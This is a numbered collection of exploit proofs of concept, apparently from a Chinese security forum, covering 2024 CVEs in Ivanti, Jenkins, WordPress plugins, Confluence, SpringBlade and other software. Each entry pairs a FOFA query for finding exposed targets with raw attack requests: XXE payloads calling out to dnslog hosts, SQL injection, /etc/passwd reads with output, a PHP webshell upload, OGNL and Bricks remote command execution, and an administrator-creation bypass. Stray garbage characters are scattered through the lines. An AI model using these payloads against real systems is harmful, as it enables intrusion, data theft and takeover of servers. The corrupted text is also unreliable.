<ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

& r" a. A, ?* d% Y103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
. n$ U0 y- U+ C7 FFOFA：body="welcome.cgi?p=logo"
& {  N# d" m+ U) K% v# Y+ jPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
- ?( P0 A- f0 s/ j/ Z) dHost: 192.168.40.130:111
" D5 H+ E' `. \5 ]7 `9 U6 DUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
4 A" o, {3 w: F7 [8 BAccept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
& S2 D/ n9 Y8 e4 L% A
1 C8 W  F1 t, e5 D, w9 O3 t
5 W; N! P8 ?9 Q0 [$ L其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
: W) Q: B6 |1 x, I) x<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

1 |; e( y: Y! d" q
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
: G+ x/ }9 h+ @7 jCVE-2024-0569
FOFA：title="TOTOLINK"
5 w& A+ V2 \  o( D5 f5 X; IPOST /cgi-bin/cstecgi.cgi HTTP/1.1
1 {# j2 M' K) P- b' R- v  O$ }Host:192.168.0.1
+ N( |1 ~# ~0 j" G* U1 BContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
0 G$ ?3 A. ]9 g2 o& I! Y" l/ w0 [. ?, |User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
$ ]9 d) r2 o3 ]$ \9 V1 AContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
2 j3 A6 n8 q4 n" f- S6 IAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

{
"topicurl":"getSysStatusCfg",
"token":""
}

8 ?& }2 X# W0 k! s9 r105. SpringBlade v3.2.0 export-user SQL 注入
- B( A7 w- ?6 x0 l# [" [, sFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
' X" m, N& T, V3 fGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
5 e9 |& b! t+ B$ {# {$ d  pHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 _) U8 \2 y2 \- v' LBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
0 S3 \3 ^  W. N" H1 XAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

' m8 }' ^$ n1 s5 x+ U4 Q; B9 s
107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
/ r# m, n6 R) o" ]GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
. x9 e9 F  F$ o1 PHost: your-ip
! r: U  Y" T' b6 J7 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close
' s5 @" G  ~2 h1 d0 C4 T4 }
6 k4 X- d6 W' k" W
108. D-Tale 3.9.0 SSRF
) z; Q: R+ v) ~8 k+ S- R$ \5 ]CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
. M# J, W, s/ }- S, zGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
& W" {" X* ]6 |3 G! i8 G, w5 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
4 ~8 k/ q& ~. `& D3 jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

1 o8 U# t) S8 q6 r" t
. r( A" P6 k0 k; P5 P4 o109. Jenkins CLI 任意文件读取
0 `$ u- Q( U+ H( A$ s5 |; g. vCVE-2024-23897
6 Y( O2 g) p+ H, ~- ?6 f# M. }FOFA：header="X-Jenkins"
* H3 Y6 G, B( t2 H# qPOST /cli?remoting=false HTTP/1.1
( g) J) g: ^: I# \' R! w- KHost:
Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
0 I9 e) P% V# U1 ZSide: upload
; f( O# a1 t& G! ~. E/ AConnection: keep-alive
+ N+ _$ Z6 V, m- S' O- u: p' l; L5 GContent-Length: 163
8 e; k+ |' R! a  i! F) e2 h
0 E& ?: ?3 p6 O5 i1 kb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
- V' [3 ~, @: z; s) A1 Z7 J7 F

; w$ v6 Y. e/ t+ PPOST /cli?remoting=false HTTP/1.1
7 h3 q' v7 U1 A$ u5 DHost:
9 P0 q3 |8 z& o; V; g. V6 |+ M! `Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
$ e% ^; M' d8 ^, C
  m0 `4 A& e7 C% e" V9 U
% N5 q; J. J5 B- HERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
) `- j; r( x: K7 y# ajava -jar jenkins-cli.jar help
[COMMAND]
; z! s. w* t7 y7 I; W; X/ LLists all the available commands or a detailed description of single command.
' O* [, W7 u; h# ?2 v/ s6 m COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


110. Goanywhere MFT 未授权创建管理员
+ s8 m6 [: b! q  l$ YCVE-2024-0204
* G. X9 i( x  Y, K, m1 A; vFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
& o7 \. H; e1 F, K7 A6 [Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
" N; A  u! _4 f$ k$ B, dConnection: close
& t5 p, C$ d6 R- E& r& S) w, M6 _Accept: */*
7 [( U+ ~, E7 U3 vAccept-Language: en
Accept-Encoding: gzip
3 W5 }+ p9 z. D0 w9 e' K3 `
8 [& i1 G9 k5 U' o" `
111. WordPress Plugin HTML5 Video Player SQL注入
; ?2 j/ _. K) HCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
% Z9 |" p0 r; d. d. w+ y6 lUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
% j. X( S% e! I5 A! \% n' x- h% ~+ d! IConnection: close
Accept: */*
Accept-Language: en
' D2 h1 M. F9 n$ e- \1 cAccept-Encoding: gzip
6 ?, j8 L( V; ?9 q+ ]

7 {4 {) E) S& B0 X9 a, k112. WordPress Plugin NotificationX SQL 注入
2 F% d6 }% |9 l- n1 YCVE-2024-1698
/ r, A7 [) C6 ~2 pFOFA：body="/wp-content/plugins/notificationx"
5 I. ~" X7 C0 L* W  l. F4 H8 dPOST /wp-json/notificationx/v1/analytics HTTP/1.1
1 h7 C7 a5 _  L9 F1 ^- D  bHost: {{Hostname}}
Content-Type: application/json

& }( T% s" i* s, s$ c- {{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

. }8 |/ V3 ^2 K% d9 D
) B6 I6 s3 D4 R3 g, w1 j2 S! s, ]113. WordPress Automatic 插件任意文件下载和SSRF
/ R# q8 W$ @- [3 @" T4 wCVE-2024-27954
& i/ T- Q8 B" V! U/ FFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
; e5 g$ m# o0 K+ A& w1 BHost: x.x.x.x
/ p3 ?* f5 x: dUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
1 Q3 i# r  ^; g% |, n* n& B4 Q

' S2 n, `0 N9 `& p; x% Z- x114. WordPress MasterStudy LMS插件 SQL注入
. {. {9 F6 B1 p1 L" t$ f/ mFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
3 e1 I& z4 i7 J- [  t+ y( s" }User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
6 r. I* h3 S  R* ~0 q* DAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
* p) k6 q& v: t& K2 n+ T$ _) d: fConnection: close
& }# v6 u- i* y* @2 I0 v

115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
  f: h; v; W4 G9 F# EFOFA: body="/wp-content/themes/bricks/"
% L4 B9 R8 B/ V# g. t& D& ^! q第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
! G7 S2 F5 h3 S4 \# k2 yConnection: close
1 t8 Q' k0 D, T5 ?8 d' ?" ^- HAccept-Encoding: gzip
8 C# ?5 H9 Z: E) \8 }2 @

* o4 _6 ?2 m: x第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
9 P" l/ k. x# f# c! SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
% j3 K: p+ d5 }2 @0 \# v7 d6 j+ ~; DConnection: close
! b* M5 {) u2 N. _% FContent-Length: 356
Content-Type: application/json
Accept-Encoding: gzip

{
( }9 W4 I& ^4 ^& q  b; n' a  m"postId": "1",
+ }1 }: C6 K# E- A$ N# u( B  "nonce": "第一步获得的值",
9 O) S: M$ Q3 r4 _  g3 a+ J1 b  "element": {
* X+ Q: C. Q6 F    "name": "container",
    "settings": {
+ ?  K' W& ~' {% H      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
    }
  }
9 f! o/ Y& [- `}
' q" e: D8 J* ?1 ^9 K0 ~
) |" T, P: m* n/ @# z5 j* U
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
: A' Y0 r4 {9 |4 C2 |3 z" [Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
( v0 V; }* m0 ]# u3 o& z
----------767099171
/ _. d& p' e. KContent-Disposition: form-data; name="action"
configuration_saveconfiguration
8 R: R" T! {# }& y5 Z3 l( H----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
4 ]- @) ]7 h9 i  g0 \  x, Y7 hContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
2 K9 N3 t# y4 R6 o8 t+ q----------767099171--

- P' h" C. f& x
6 P! q* [/ y$ O6 K117. WordPress LayerSlider插件SQL注入
% }6 F3 Q" y3 a$ c: P1 U" Xversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
* C2 z& G8 y& ~% R: [+ {Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 v9 I$ I' U# v4 y! j. ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- G/ U. G3 |( S. f  f! {Accept-Encoding: gzip, deflate, br
4 h' \! C: u' J, g1 X2 x& l! _Connection: close
! W( A2 P9 L( v6 v  BUpgrade-Insecure-Requests: 1


2 M' y' P$ t9 D- ?/ m8 G9 v2 `+ \118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
, `1 C, Y6 p" D% W' OCVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
. Q2 ]) d6 _; t2 l2 FCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
! w  b; l" c% x/ T. Q$ o9 ~+ MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
9 ~( `7 g4 \" s: Y9 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 w; h, D: o9 `  k- WAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
. d1 Q8 Z; I9 Q# }- G. ^Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
9 u' B3 \5 L0 KSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
8 y7 n3 ?; F% {9 rSec-Fetch-User: ?1
Te: trailers
5 F8 q2 A9 M5 F4 c. K- aConnection: close
. P5 k+ U6 D- _, H2 T! x9 o
# J9 D9 h0 k* [+ h; E/ ~% s/ C" L( o-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

9 ^/ F/ O6 K! B  i<?php
! H9 S+ v, z6 n& Gsystem($_POST["passwd"]);
+ G5 U* M4 M9 d) j7 L# H?>
7 R- v2 J% t3 t( F" t" a0 n! z-----------------------------13979701222747646634037182887
# m& j& b& v! g7 z7 }+ F, n9 GContent-Disposition: form-data; name="txt_path"
/ n+ T" I: {3 n9 `5 l
/home/src.php
3 r: u( B" c4 [; ^8 q-----------------------------13979701222747646634037182887--


. J9 X$ y; ?' h$ O- q( F8 d$ g访问/home/src.php
1 ^! Z: O4 C- r3 U7 H5 m! F5 a
" d, Z! X: k7 o# ~, [119. 北京百绰智能S20后台sysmanageajax.php sql注入
5 m! a- N+ v, {2 p' gCVE-2024-1254
' H* e  Q( {0 J& E0 ^( a5 PFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
$ T; L, v5 e& V" vHost: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
5 s8 T+ L/ r' P* xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) U. o  G, c5 G) M, b2 |Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
  y2 Y1 T; k) w4 [- I( s  T: XContent-Length: 109
Origin: https://58.18.133.60:8443
) o, F- O4 O* fReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
( f4 l1 c+ u0 t0 b. H# e2 p  MSec-Fetch-Dest: empty
( f8 R7 @3 V1 xSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
+ M$ m+ P, P3 F4 EX-Forwarded-For: 1.1.1.1
. D6 t+ l& |' `( i5 k4 uX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


120. 北京百绰智能S40管理平台导入web.php任意文件上传
/ j5 n" ~4 ?3 k% |: e7 O  zCVE-2024-1253
FOFA：title="Smart管理平台"
: q; m( D( U! j/ D8 OPOST /useratte/web.php? HTTP/1.1
. w% u- A! C" N5 R5 g. U' v# a  V+ XHost: ip:port
+ j' m' A+ n/ d" TCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
3 d+ h* }. Y) S  d. t# x& I. ]# wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( v7 o  j- d! j9 ?Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
* ^9 X4 ^! t% Z& O. O, y( E0 `, |Content-Length: 597
3 E* H4 p% S6 J+ a  zOrigin: https://ip:port
  }4 `* P+ S# pReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
5 y9 x' A/ h% T7 NSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
* b, W+ ]& W! c( uConnection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
# }5 d* L$ S- n2 I9 n5 PContent-Type: application/octet-stream
4 a" z% \! \+ Z$ f( ~9 k- t
2 J; B: f- F& P; U<?php phpinfo()?>
/ ]6 m- F4 X" l4 s, G9 l$ f-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

* v( ~# {# P) D; u: c& A9 w5 w1
-----------------------------42328904123665875270630079328
  n: |/ Y  L  B2 a. F' y% J! pContent-Disposition: form-data; name="1_ck"

8 \& k. T' g, U& z- k' _6 J9 w' D; D1_radhttp
5 V& C6 J1 [( Y4 |2 u-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

# J! n  |9 I' ~0 Zimport
) U2 ?/ T, n5 q4 s. E: T- [! E-----------------------------42328904123665875270630079328


文件路径/upload/2.php
2 _4 t4 W; f2 p  I
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
+ a3 ^! \1 a" X7 k" jCVE-2024-1918
FOFA：title="Smart管理平台"
+ r2 r, r7 u% K0 C- w! v- aPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
3 [2 q1 [7 N$ @7 v9 Q3 iCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
1 ?' B; E+ e  ?User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 Y4 r& L$ ?7 NAccept-Encoding: gzip, deflate
* E' P5 x! p+ y# i+ c$ AContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
' P6 t+ q: ]7 ^: c1 d! iOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
5 j3 f) {  [4 v0 tSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
7 b8 h5 a8 e, \* t* o  W0 tConnection: close

-----------------------------42328904123665875270630079328
( g  q6 {% s& L* @0 f; D( JContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
3 D0 {& ]# A7 w& F, w-----------------------------42328904123665875270630079328
8 N; I9 e$ q+ B( R. t: F1 sContent-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

0 x% C' Q9 |- r) I5 @1_radhttp
3 ~' ~% A4 m0 j/ k2 U1 s7 d-----------------------------42328904123665875270630079328
4 H# R/ |6 \! F# {$ tContent-Disposition: form-data; name="hidwel"

: v% t0 t: U2 X7 Tset
1 S) M. ]4 a" x4 {6 u2 c-----------------------------42328904123665875270630079328
; R; E, K" D; v7 B& t

; a% M! L" a6 X$ Q1 lboot/web/upload/weblogo/1.php
- K3 ?9 R, m9 p& {' x
122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
5 u* L% R/ B$ E* Q+ j% `& U1 mHost: x.x.x.x
" N0 g# P  @2 K" w# SCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
( A0 H! Z; r( g* ?, n# ?8 tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, O' R) \. z0 A- [/ d# `% xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 j( Y) u4 l6 {4 J# [$ i0 gAccept-Encoding: gzip, deflate, br
# x; \1 K+ |" B  k! ~, EUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
4 r( k8 e0 R) T$ e! s' {; [0 p8 BSec-Fetch-Mode: navigate
Sec-Fetch-Site: none
) ?; D# g: |- k% K( j; q* |Sec-Fetch-User: ?1
Te: trailers
Connection: close


0 ?( |% v' L$ C: x  {: r123. Atlassian Confluence 模板注入代码执行
* b; \, r% A4 [$ T: E! E5 TFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
" i) S4 K  Y& i8 k9 x9 ]POST /template/aui/text-inline.vm HTTP/1.1
& Y# ?3 `( ]3 _& L$ s) cHost: localhost:8090
Accept-Encoding: gzip, deflate, br
; z/ m1 O9 x5 W" o. o/ _Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
3 ]$ W: Y  a* E  EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
; d/ t* v& F0 ]* _  Z" TContent-Type: application/x-www-form-urlencoded
' f% M8 J* k( D/ Z
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

6 O' ?( Z( G" p3 ^
/ ]$ v3 ^2 m2 l4 d. g124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
9 o9 p( G) M8 E. c* T; ^POST /Scripts/admintool?type=updatefile HTTP/1.1
3 y( o/ K' O9 x& o$ oHost: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 ~: j0 f! [9 S3 S6 `; nConnection: close
/ [$ ~. l' X2 G6 VContent-Type: application/x-www-form-urlencoded
. w- P' [: h) p/ l% B$ R
$ X  _0 j7 Z+ h4 e7 JfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


. k: s: o' U2 `/ G; f. Shttp://192.168.40.130:8282/Scripts/abcgcg.aspx

: D% A2 H- r2 G# M" S125. ConnectWise ScreenConnect身份验证绕过
9 l; B8 z( c  a! I& n1 ICVE-2024-1709
6 p: N9 T# e. \" X! E* B( [FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
, l: J6 i) m8 I- _, {

使用方法
/ P( G8 d; v) r; R0 npython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
8 U. u- O$ r" D; M) {& b- m1 ?

创建好用户后直接登录后台，可以执行系统命令。
4 G' z3 l/ q# T
126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
4 n% ^/ F; g) uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
# V: |" b; p% w/ VAccept-Language: en
0 q  k$ `7 A/ ~: @7 Z4 N7 Z0 s, pAccept-Encoding: gzip
0 c+ [  _9 G5 I! `
' F+ e6 C( r0 k0 C: D* U- K3 I
127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
9 c/ o/ {, \. J% n2 M/ U6 y) XPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
0 ?+ a5 \6 j. L3 E4 tHost: 192.168.40.130:8888
/ @6 P0 a% D7 \; S+ Z4 H7 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ F4 O9 Q! f8 C7 p$ ?3 LAccept-Encoding: gzip, deflate
4 B4 t3 s9 i/ F4 m" ]$ p0 y1 VAccept-Language: zh-CN,zh;q=0.9
" Y8 [4 R+ q" O# Z% j9 E& w+ gConnection: close
& [& V* q: z# @Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
* n. N* P/ S; [8 QSec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
: B; c( U4 W' w! Q" x8 L/ {3 jContent-Disposition: form-data;name="SystemName"
2 U0 x4 q7 F. d" n
( s) c" ]# c" z* K7 @4 m, h: zBIM
- F3 ~9 Y. h3 m2 b------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
9 {+ [3 D! C& F7 f3 V5 yContent-Type: text/plain
0 E* d$ Z; b: e7 N
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
# R" D& v1 ~7 u+ f]
>
<test>&t;</test>
% z5 A8 X6 ?- ~  {- d------WebKitFormBoundaryJGgV5l5ta05yAIe0--
! c6 x3 t8 O. D2 c
